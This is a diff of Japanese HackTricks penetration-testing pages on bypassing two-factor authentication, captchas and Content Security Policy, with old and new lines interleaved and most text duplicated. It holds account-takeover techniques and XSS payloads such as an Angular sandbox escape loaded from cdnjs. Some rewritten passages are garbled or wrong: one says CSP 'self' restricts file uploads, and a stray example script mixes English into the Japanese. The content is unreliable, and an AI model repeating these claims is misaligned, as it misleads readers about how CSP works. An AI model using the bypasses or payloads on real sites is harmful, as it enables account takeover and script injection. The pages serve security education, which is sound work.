トークンはWebアプリケーションのレスポンスで漏洩しているかどうかを確認してください。
|
||||
|
||||
## セッションの権限
|
||||
### メールの確認リンク
|
||||
|
||||
同じセッションを使用して、自分のアカウントと被害者のアカウントでフローを開始します。両方のアカウントで2FAポイントに到達したら、自分のアカウントで2FAを完了させずに次のステップにアクセスしようとしてください。その代わりに、被害者のアカウントのフローで次のステップにアクセスしようとしてください。バックエンドがセッション内のブール値を設定して、2FAを正常にパスしたことを示している場合、被害者の2FAをバイパスすることができます。
|
||||
アカウント作成時に受け取った**メールの確認リンク**を使用して、2FAが設定されていてもそのリンクだけでプロフィールにアクセスできるか試してみてください([記事](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b))。
|
||||
|
||||
## **パスワードリセット機能**
|
||||
### セッションの権限
|
||||
|
||||
ほとんどのWebアプリケーションでは、パスワードリセット機能はリセット手順が完了した後にユーザーを自動的にアプリケーションにログインします。メールが送信され、パスワードをリセットするためのリンクが含まれているかどうかを確認し、被害者がメールアドレスを変更しても、そのリンクを使用してパスワードを何度でもリセットできるかどうかを確認してください。
|
||||
同じセッションを使用して、自分のアカウントと被害者のアカウントでフローを開始します。両方のアカウントで2FAポイントに到達したら、自分のアカウントで2FAを完了させずに次のステップに被害者のアカウントのフローでアクセスしようとしてください。バックエンドがセッション内のブール値を設定して、2FAを正常にパスしたことを示している場合、被害者の2FAをバイパスすることができます。
|
||||
|
||||
## OAuth
|
||||
### **パスワードリセット機能**
|
||||
|
||||
信頼された**OAuth**プラットフォーム(Google、Facebookなど)でユーザーのアカウントを侵害できる場合
|
||||
ほとんどのWebアプリケーションでは、パスワードリセット機能はリセット手順が完了した後にユーザーを自動的にアプリケーションにログインします。\
|
||||
パスワードをリセットするための**メール**が送信され、その**リンク**を**何度でも再利用**してパスワードをリセットできるか確認してください(被害者がメールアドレスを変更しても可能です)。
|
||||
|
||||
## ブルートフォース
|
||||
### OAuth
|
||||
|
||||
### レート制限の不足
|
||||
信頼された**OAuth**プラットフォーム(Google、Facebookなど)でユーザーのアカウントを妥協できる場合
|
||||
|
||||
試行することができるコードの数に制限がある場合、単純にブルートフォースできます。潜在的な「サイレント」レート制限に注意して、実際のコードを確認するためにいくつかのコードを試し、その後本物のコードを試してください。
|
||||
### ブルートフォース
|
||||
|
||||
### フローレート制限があるがレート制限がない場合
|
||||
#### レート制限の不足
|
||||
|
||||
この場合、フローレート制限があります(非常にゆっくりとブルートフォースする必要があります:1つのスレッドと2回の試行前に一定時間スリープします)が、レート制限はありません。したがって、十分な時間があれば、有効なコードを見つけることができます。
|
||||
試行することができるコードの数に制限がある場合、単純にブルートフォースできます。脆弱性を確認するために、可能な「サイレント」レート制限に注意し、本物のコードを確認するためにいくつかのコードを試してから試してください。
|
||||
|
||||
### コードの再送信と制限のリセット
|
||||
#### フローレート制限があるが、レート制限がない場合
|
||||
|
||||
この場合、フローレート制限があります(非常にゆっくりとブルートフォースする必要があります:1つのスレッドと2回の試行前に一定時間スリープします)、しかしレート制限はありません。したがって、十分な時間があれば、有効なコードを見つけることができます。
|
||||
|
||||
#### コードの再送信と制限のリセット
|
||||
|
||||
レート制限があるが、「コードを再送信」すると同じコードが送信され、レート制限がリセットされます。そのため、コードを再送信する間にコードをブルートフォースして、レート制限に達することはありません。
|
||||
|
||||
### クライアント側のレート制限バイパス
|
||||
#### クライアント側のレート制限バイパス
|
||||
|
||||
{% content-ref url="rate-limit-bypass.md" %}
|
||||
[rate-limit-bypass.md](rate-limit-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ユーザーアカウントのレート制限の不足
|
||||
#### ユーザーアカウントのレート制限の不足
|
||||
|
||||
自分のアカウント内の一部のアクション(メールの変更、パスワードの変更など)に2FAを設定できる場合があります。ただし、ログインしようとしたときにレート制限がある場合でも、アカウント内のアクションを保護するためのレート制限はありません。
|
||||
アカウント内のアクション(メールの変更、パスワードなど)のために2FAを設定できる場合があります。ただし、ログインしようとしたときにレート制限がある場合でも、アカウント内のアクションを保護するためのレート制限はありません。
|
||||
|
||||
### SMS経由でのコード再送信のレート制限の不足
|
||||
#### SMS経由でのコード再送信のレート制限の不足
|
||||
|
||||
2FAをバイパスすることはできませんが、会社のお金を無駄にすることはできます。
|
||||
|
||||
### 無限のOTP再生成
|
||||
#### 無限のOTP再生成
|
||||
|
||||
新しいOTPを無限に生成でき、OTPが十分に単純(4桁の数字)であり、生成されたOTPごとに4つまたは5つのトークンを試すことができる場合、毎回同じ4つまたは5つのトークンを試して、使用しているトークンと一致するまでOTPを生成し続けることができます。
|
||||
新しいOTPを無限に生成でき、OTPが十分に単純(4桁の数字)であり、生成されたOTPごとに4つまたは5つのトークンを試すことができる場合、同じ4つまたは5つのトークンを毎回試して、使用しているトークンと一致するまでOTPを生成し続けることができます。
|
||||
|
||||
## CSRF/クリックジャッキング
|
||||
### CSRF/Clickjacking
|
||||
|
||||
2FAを無効にするためのクロスサイトリクエストフォージェリ(CSRF)またはクリックジャッキングの脆弱性があるかどうかを確認してください。
|
||||
2FAを無効にするためのCross Site Request Forgery(CSRF)またはClickjackingの脆弱性があるかどうかを確認してください。
|
||||
|
||||
## ログイン状態の保持機能
|
||||
### ログイン状態の保持機能
|
||||
|
||||
### 推測可能なクッキー
|
||||
#### 推測可能なクッキー
|
||||
|
||||
「ログイン状態の保持」機能が推測可能なコードを使用する場合、それを推測してみてください。
|
||||
|
||||
### IPアドレス
|
||||
#### IPアドレス
|
||||
|
||||
「ログイン状態の保持」機能がIPアドレスに関連付けられている場合、被害者のIPアドレスを特定し、**X-Forwarded-For**ヘッダーを使用してそれをなりすますことができます。
|
||||
「ログイン状態の保持」機能があなたのIPアドレスに関連付けられている場合、被害者のIPアドレスを特定し、**X-Forwarded-For**ヘッダーを使用してそれをなりすますことができます。
|
||||
### 古いバージョン
|
||||
|
||||
## 古いバージョン
|
||||
#### サブドメイン
|
||||
|
||||
### サブドメイン
|
||||
ログイン機能を持つ「テスト」サブドメインを見つけることができれば、それらは2FAをサポートしていない古いバージョンを使用している可能性があります(そのため、直接バイパスされます)またはそれらのエンドポイントが脆弱な2FAのバージョンをサポートしている可能性があります。
|
||||
|
||||
ログイン機能を持つ「テスト」サブドメインを見つけることができれば、2FAをサポートしていない古いバージョンを使用している可能性があります(そのため、直接バイパスされる)またはそれらのエンドポイントが2FAの脆弱なバージョンをサポートしている可能性があります。
|
||||
#### API
|
||||
|
||||
### API
|
||||
2FAが/v\*/ディレクトリ(例:"/v3/")の下にあるAPIを使用している場合、おそらく古いAPIエンドポイントが存在し、いくつかの2FAバイパスの脆弱性がある可能性があります。
|
||||
|
||||
2FAが/v\*/ディレクトリ("/v3/"のような)の下にあるAPIを使用している場合、おそらく2FAのバイパスに脆弱な古いAPIエンドポイントが存在することを意味します。
|
||||
## 前のセッション
|
||||
### 前のセッション
|
||||
|
||||
2FAが有効になっている場合、前のセッションは終了する必要があります。これは、クライアントがアカウントを侵害された場合、2FAを有効にして保護したい場合でも、前のセッションが終了していないと保護されません。
|
||||
2FAが有効になっている場合、以前のセッションは終了する必要があります。これは、クライアントがアカウントを侵害された場合、2FAを有効にして保護したい場合でも、以前のセッションが終了していないと保護されないためです。
|
||||
|
||||
## バックアップコードへの不適切なアクセス制御
|
||||
### バックアップコードへの不適切なアクセス制御
|
||||
|
||||
バックアップコードは、2FAが有効になった直後に生成され、単一のリクエストで利用可能です。後続のリクエストごとに、コードは再生成されるか変更されないまま(静的コード)になる場合があります。CORSの設定ミスやXSSの脆弱性、および他のバグにより、バックアップコードエンドポイントのレスポンスリクエストからバックアップコードを「引っ張る」ことができる場合、攻撃者はコードを盗み、ユーザー名とパスワードがわかっている場合に2FAをバイパスすることができます。
|
||||
バックアップコードは2FAが有効になった直後に生成され、単一のリクエストで利用できます。その後のリクエストごとにコードを再生成するか、変更しない(静的コード)かは異なります。 CORSの設定ミス/XSSの脆弱性や、バックアップコードエンドポイントのレスポンスリクエストからバックアップコードを「引っ張る」ことができる他のバグがある場合、攻撃者はコードを盗み、ユーザー名とパスワードがわかっている場合に2FAをバイパスすることができます。
|
||||
|
||||
## 情報漏洩
|
||||
### 情報漏洩
|
||||
|
||||
2FAページに以前知らなかった機密情報(電話番号など)が表示される場合、これは情報漏洩の脆弱性と見なされる可能性があります。
|
||||
|
||||
## **パスワードリセット == 2FAの無効化**
|
||||
### **パスワードリセット == 2FA無効化**
|
||||
|
||||
1. アカウントを作成し、2FAをオンにします。
|
||||
2. そのアカウントからログアウトします。
|
||||
3. パスワードリセットページに移動します。
|
||||
4. パスワードを変更します。
|
||||
5. 今度はログインしてみてください。
|
||||
5. 今度はログインを試みます。
|
||||
6. 2FAコードの入力を求められない場合、報告できます。
|
||||
|
||||
# 参考文献
|
||||
## 参考文献
|
||||
|
||||
{% embed url="https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35" %}
|
||||
|
||||
{% embed url="https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,18 @@
|
|||
# Captcha Bypass
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Captcha Bypass
|
||||
## Captcha Bypass
|
||||
|
||||
ユーザー入力を許可するサーバーの一部の機能のテストを**自動化**するためには、**captcha**の実装を**バイパス**する必要がある場合があります。したがって、次のことをテストしてみてください:
|
||||
|
||||
|
@ -28,22 +25,27 @@
|
|||
* 古いcaptchaの値を使用してみてください。
|
||||
* 同じまたは異なるセッションIDで**同じcaptchaの値**を複数回使用できるかどうかを確認してください。
|
||||
* captchaが**数学の演算**である場合は、**計算を自動化**してみてください。
|
||||
* captchaが**画像から文字を読み取る**場合は、手動でまたはコードで**使用されている画像の数**を確認し、使用されているのが**わずかな画像**である場合は、MD5でそれらを検出してください。
|
||||
* OCRを使用してください([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract))。
|
||||
* captchaが**画像から文字を読み取る**場合は、手動で確認するか、コードで**使用されている画像の数**を確認し、使用されているのが**わずかな画像**である場合は、MD5でそれらを検出してください。
|
||||
* [OCR](https://github.com/tesseract-ocr/tesseract)を使用してください。
|
||||
|
||||
## キャプチャをバイパスするためのオンラインサービス
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Capsolverの自動キャプチャソルバーは、**最も手頃な価格で最速のキャプチャソルビングソリューション**を提供します。シンプルな統合オプションを使用して、プログラムに迅速に組み込むことができ、数秒で最良の結果を得ることができます。
|
||||
|
||||
Capsolverは99.15%の成功率で、毎分10M以上のキャプチャに対応できます。これにより、自動化またはスクレイピングの稼働時間は99.99%になります。予算が十分にある場合は、キャプチャパッケージを購入することができます。
|
||||
|
||||
市場で最も低価格で、reCAPTCHA V2、reCAPTCHA V3、hCaptcha、hCaptcha Click、reCaptcha click、Funcaptcha Click、FunCaptcha、datadome captcha、aws captcha、picture-to-text、binance / coinmarketcap captcha、geetest v3 / v3など、さまざまなソリューションを提供しています。このサービスでは、**0.1秒が最も遅い速度**です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
**HackenProofはすべての暗号バグバウンティのホームです。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
@ -31,11 +31,11 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
|
||||
## CSPとは
|
||||
|
||||
コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、**クロスサイトスクリプティング(XSS)などの攻撃から保護するための組み込みブラウザ技術**です。ブラウザが安全にリソースを読み込み、実行できるパスとソースをリスト化および説明します。リソースには、画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースをインラインで読み込み、実行することを許可する例です。また、`eval`、`setTimeout`、`setInterval`などの文字列コード実行関数も許可されます。
|
||||
コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、**クロスサイトスクリプティング(XSS)などの攻撃から保護するための組み込みブラウザ技術**です。ブラウザが安全にリソースを読み込みできるパスとソースをリスト化および説明します。リソースには画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースの読み込みとインラインでの実行、および`eval`、`setTimeout`、`setInterval`などの文字列コード実行関数の許可例です。
|
||||
|
||||
コンテンツセキュリティポリシーは、**レスポンスヘッダー**または**HTMLページのメタ要素**を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
|
||||
コンテンツセキュリティポリシーは、**レスポンスヘッダ**または**HTMLページのメタ要素**を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
|
||||
|
||||
レスポンスヘッダーを介して実装されます:
|
||||
レスポンスヘッダを介して実装されます:
|
||||
```http
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
@ -146,20 +146,29 @@ Content-Security-Policy: script-src 'self' ;
|
|||
```
|
||||
### ファイルのアップロード + 'self'
|
||||
|
||||
このテクニックは、Content Security Policy(CSP)によって保護されたウェブアプリケーションでファイルのアップロードをバイパスする方法です。CSPは、ウェブアプリケーションのセキュリティを強化するために使用されるヘッダーです。CSPは、特定のドメインからのリソースの読み込みや実行を制限することができます。
|
||||
#### 概要
|
||||
|
||||
CSPのデフォルトの設定では、`self`ディレクティブが使用されており、同じオリジンからのリソースのみが許可されます。これは、ウェブアプリケーションが自身のドメインからのみリソースを読み込むことを意味します。
|
||||
このテクニックは、Content Security Policy(CSP)の設定によって制限されたウェブアプリケーションで、ファイルのアップロードをバイパスする方法です。CSPは、ウェブアプリケーションのセキュリティを向上させるために使用されるヘッダーですが、適切に構成されていない場合、攻撃者はファイルのアップロードを回避することができます。
|
||||
|
||||
しかし、このテクニックでは、ファイルのアップロード機能を悪用して、CSPの制限を回避します。攻撃者は、アップロードされたファイルを自身のドメインにホストすることで、CSPの`self`ディレクティブをバイパスします。これにより、攻撃者は制限されたドメインからのリソースを読み込むことができます。
|
||||
#### 詳細
|
||||
|
||||
このテクニックを実行するためには、以下の手順を実行します。
|
||||
CSPは、ウェブアプリケーションが許可するリソースの制御を目的としています。通常、CSPは、`Content-Security-Policy`ヘッダーを使用して設定されます。このヘッダーには、許可されるドメイン、スクリプトの実行方法、画像の読み込み元などの指示が含まれています。
|
||||
|
||||
1. ウェブアプリケーションのファイルアップロード機能を見つけます。
|
||||
2. 任意のファイルをアップロードし、アップロードされたファイルのURLを取得します。
|
||||
3. 攻撃者は、自身のドメインにファイルをホストするための適切な手段を使用します(例:クラウドストレージ、SaaSプラットフォーム)。
|
||||
4. 攻撃者は、CSPの`self`ディレクティブをバイパスするために、アップロードされたファイルのURLを使用します。
|
||||
ファイルのアップロードを制限するために、CSPは通常、`self`ディレクティブを使用します。これにより、ウェブアプリケーションは同じオリジンからのみファイルのアップロードを許可します。しかし、攻撃者は、`self`ディレクティブをバイパスする方法を見つけることができます。
|
||||
|
||||
このテクニックにより、攻撃者はCSPの制限を回避し、制限されたドメインからのリソースを読み込むことができます。これにより、悪意のあるコードの実行や機密情報の漏洩などのセキュリティ上のリスクが生じる可能性があります。ウェブアプリケーションの開発者は、CSPの設定を適切に行い、ファイルのアップロード機能を適切に制御する必要があります。
|
||||
攻撃者が`self`ディレクティブをバイパスするために使用する一般的な方法は、ファイルのアップロード機能を提供するサードパーティのサービスを利用することです。たとえば、Google ドライブや Dropbox のようなクラウドストレージサービスを使用することができます。攻撃者は、ウェブアプリケーションにファイルをアップロードする代わりに、サードパーティのサービスにファイルをアップロードし、そのファイルの URL を取得します。
|
||||
|
||||
攻撃者は、取得したファイルの URL をウェブアプリケーションに提供することで、CSPの制限を回避します。ウェブアプリケーションは、攻撃者が提供した URL を信頼し、そのファイルを処理します。これにより、攻撃者はCSPの制限を回避し、任意のファイルをアップロードすることができます。
|
||||
|
||||
#### 対策
|
||||
|
||||
この攻撃を防ぐためには、CSPの設定を適切に行う必要があります。`self`ディレクティブを使用する場合、ウェブアプリケーションが信頼するドメインのみを指定する必要があります。また、サードパーティのサービスを使用する場合は、信頼できるサービスのみを選択する必要があります。
|
||||
|
||||
さらに、ファイルのアップロード機能を提供する場合は、アップロードされたファイルの検証と制限を行う必要があります。ファイルの種類、サイズ、およびアップロード先のパスなどを検証し、不正なファイルのアップロードを防止することが重要です。
|
||||
|
||||
#### まとめ
|
||||
|
||||
ファイルのアップロードを制限するためにCSPを使用する場合、`self`ディレクティブをバイパスする攻撃手法が存在します。攻撃者は、サードパーティのサービスを利用してCSPの制限を回避し、任意のファイルをアップロードすることができます。適切なCSPの設定とファイルの検証を行うことで、この攻撃を防ぐことができます。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
|
@ -183,7 +192,15 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
脆弱性のあるバージョンのAngularをロードし、任意のJSを実行します。
|
||||
脆弱性のあるバージョンのAngularを読み込み、任意のJavaScriptを実行します:
|
||||
|
||||
```html
|
||||
<script src="https://example.com/angular/vulnerable-version.js"></script>
|
||||
```
|
||||
|
||||
This will load the vulnerable version of Angular from the specified URL and execute any arbitrary JavaScript code contained within it.
|
||||
|
||||
これにより、指定されたURLから脆弱性のあるAngularのバージョンが読み込まれ、それに含まれる任意のJavaScriptコードが実行されます。
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
@ -207,7 +224,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
#### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェックしてください](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
この投稿では、`cdn.cloudflare.com`(または他の許可されたJSライブラリのリポジトリ)からすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どの関数が`window`オブジェクトを返すか**を確認できることを示しています。
|
||||
この投稿では、`cdn.cloudflare.com`(または他の許可されたJSライブラリのリポジトリ)からすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どの関数がどのライブラリから`window`オブジェクトを返すか**を確認できることを示しています。
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -237,21 +254,22 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
```
|
||||
### サードパーティのエンドポイント + JSONP
|
||||
|
||||
JSONP(JSON with Padding)は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのサードパーティエンドポイントにアクセスするために使用されます。
|
||||
JSONP(JSON with Padding)は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのサードパーティエンドポイントにリクエストを送信する場合に使用されます。
|
||||
|
||||
JSONPは、スクリプトタグを使用して外部スクリプトを読み込むことによって機能します。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。ウェブアプリケーションは、コールバック関数を使用してJSONデータを処理します。
|
||||
JSONPは、スクリプトタグを使用して外部スクリプトを読み込む方法を利用しています。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。ウェブアプリケーションは、コールバック関数を使用してJSONデータを処理します。
|
||||
|
||||
この手法は、Content Security Policy(CSP)によって制限される場合があります。CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPが適用されている場合、ウェブアプリケーションは指定されたドメイン以外のエンドポイントにアクセスできません。
|
||||
この手法は、Content Security Policy(CSP)によって制限される場合があります。CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPが適用されている場合、ウェブアプリケーションは指定されたドメイン以外のエンドポイントにリクエストを送信することはできません。
|
||||
|
||||
しかし、CSPバイパスのテクニックを使用することで、JSONPを使用してサードパーティのエンドポイントにアクセスすることができます。これにより、CSPの制限を回避し、ウェブアプリケーションが制限されたドメイン以外のデータにアクセスできるようになります。
|
||||
しかし、CSPバイパスのテクニックを使用することで、JSONPを使用してサードパーティのエンドポイントにリクエストを送信することができます。これにより、CSPの制限を回避し、クロスドメインリクエストを実現することができます。
|
||||
|
||||
